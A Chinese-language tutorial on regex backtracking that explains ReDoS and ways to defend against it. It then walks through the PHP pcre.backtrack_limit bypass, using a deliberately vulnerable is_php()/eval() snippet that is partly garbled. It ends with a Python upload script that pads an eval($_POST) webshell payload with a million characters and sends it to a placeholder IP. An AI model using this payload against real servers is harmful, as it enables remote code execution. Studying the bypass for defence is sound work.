正则回溯整理

目录

一、回溯绕过

二、防止正则表达式回溯绕过的方法

三、PHP利用PCRE回溯次数限制绕过某些安全限制

[1、 首先,来看一段PHP代码](#1、 首先,来看一段PHP代码)

2、正则回溯的过程

[3、PHP的pcre.backtrack_limit 限制利用](#3、PHP的pcre.backtrack_limit 限制利用)


一、回溯绕过

正则表达式的回溯绕过是指通过构造恶意输入,使得正则表达式引擎在匹配字符串时产生大量回溯操作,从而导致性能下降甚至造成拒绝服务(DoS)攻击。

由于模式中的量词(例如星号*、加号+、问号?、花括号{}等)使得可能有多种不同的匹配方式,导致引擎需要尝试不同的组合,直到找到匹配的结果。这种尝试的过程就称为回溯。回溯操作会导致时间复杂度呈指数级增长,对于复杂的正则表达式和长字符串,性能损失会非常明显。

攻击者可以通过构造一些恶意输入,使得正则表达式在尝试匹配时陷入大量的回溯过程,从而使得服务器的资源耗尽,无法继续响应其他请求,从而实现拒绝服务攻击。

回溯绕过是一种常见的正则表达式攻击手段,合理使用正则表达式引擎和对输入进行有效验证是防止此类攻击的关键。

二、防止正则表达式回溯绕过的方法

防止正则表达式回溯绕过的方法包括:

1. 使用非回溯性的正则表达式引擎:某些正则表达式引擎支持非回溯的匹配算法,例如"正则表达式2"(Regular Expression 2,RE2)引擎,该引擎能够保证线性时间复杂度,从而避免回溯导致的性能问题。

2. 限制正则表达式的复杂性:在编写正则表达式时,尽量避免使用过于复杂的表达式,特别是避免嵌套量词和回溯的使用。

3. 输入验证和过滤:对于用户输入的数据,进行有效的验证和过滤,确保输入符合预期的格式和内容,防止恶意输入进入正则表达式匹配的过程。

4. 采用其他字符串匹配算法:对于复杂的字符串匹配需求,可以考虑使用其他字符串匹配算法,如Aho-Corasick算法、Knuth-Morris-Pratt算法等,这些算法不涉及回溯,性能较为稳定。

三、PHP利用PCRE回溯次数限制绕过某些安全限制

1、 首先,来看一段PHP代码

<?php

function is_php($data){

return preg_match('/<\?.*[(`;?>].*/is', $data);

}

<?php eval()

if(!is_php($input)) {

// fwrite($f, $input); ...

}

上面这段PHP代码实现了一个函数 is_php($data),用于检查输入的数据是否包含PHP代码片段。然后,在调用 is_php() 函数之后,代码使用 eval() 函数来执行用户输入的数据。这段代码存在严重的安全漏洞。

安全问题:

1. eval( ) 函数: eval( ) 函数用于执行字符串形式的PHP代码,但是这样的用法极其危险,因为它会执行任意代码,导致远程代码执行(Remote Code Execution,RCE)漏洞。不应该将未经验证的用户输入直接传递给 eval( )。

2. 正则表达式漏洞:正则表达式 '/<\?.*[(`;?>].*/is' 存在问题。该表达式试图匹配包含 <?`、```、`?> 等标记的任意字符,但是由于缺乏边界约束,可能导致误匹配和绕过。例如,<?php 在某些情况下可能被误认为是PHP代码片段,而其他语言的代码也可能被错误地匹配。

2、正则回溯的过程

正则表达式 :

/<\?.*[(`;?>].*/is

测试文本 :

<?php phpinfo();//aaaaa

所以,如上之后 实际执行流程是这样的:

1.第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

2.所以 NFA 就开始回溯,先吐出一个 a,输入变成第6步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上

3.最终直到吐出;,输入变成第 13步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。14步开始向后匹配;,15步匹配 . 第二个.匹配到了字符串末尾,最后结束匹配。

3、PHP的pcre.backtrack_limit 限制利用

在PHP中,pcre.backtrack_limit 是一个配置选项,用于限制PCRE(Perl Compatible Regular Expressions)引擎的回溯深度。PCRE是PHP正则表达式引擎的一部分,它用于解析和匹配正则表达式。在PHP文档中,这个值一般是 100万

我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的DOC如下

import requests

from io import BytesIO

files = {

'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)

}

res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)

print(res.headers)

相关推荐
时之彼岸Φ41 分钟前
Web:HTTP包的相关操作
网络·网络协议·http
W215543 分钟前
LINUX网络编程:http
网络·网络协议·http
Mogu_cloud1 小时前
pcdn盒子连接方式
网络·智能路由器
Hqst_Kevin2 小时前
Hqst 品牌 H81801D 千兆 DIP 网络变压器在光猫收发器机顶盒中的应用
运维·服务器·网络·5g·网络安全·信息与通信·信号处理
Hqst 网络变压器 Andy2 小时前
交换机最常用的网络变压器分为DIP和SM
网络·依赖倒置原则
网安康sir2 小时前
2024年三个月自学手册 网络安全(黑客技术)
网络·安全·web安全
Nigoridl2 小时前
MSF的使用学习
网络·web安全
pemper_3 小时前
怎么操作使http变成https访问?
网络·网络协议·http·https·ssl
蒙奇·D·路飞-4 小时前
古诗词四首鉴赏
网络
Run_Snails4 小时前
hcia-openEuler V1.0师资题库-试卷3
运维·服务器·网络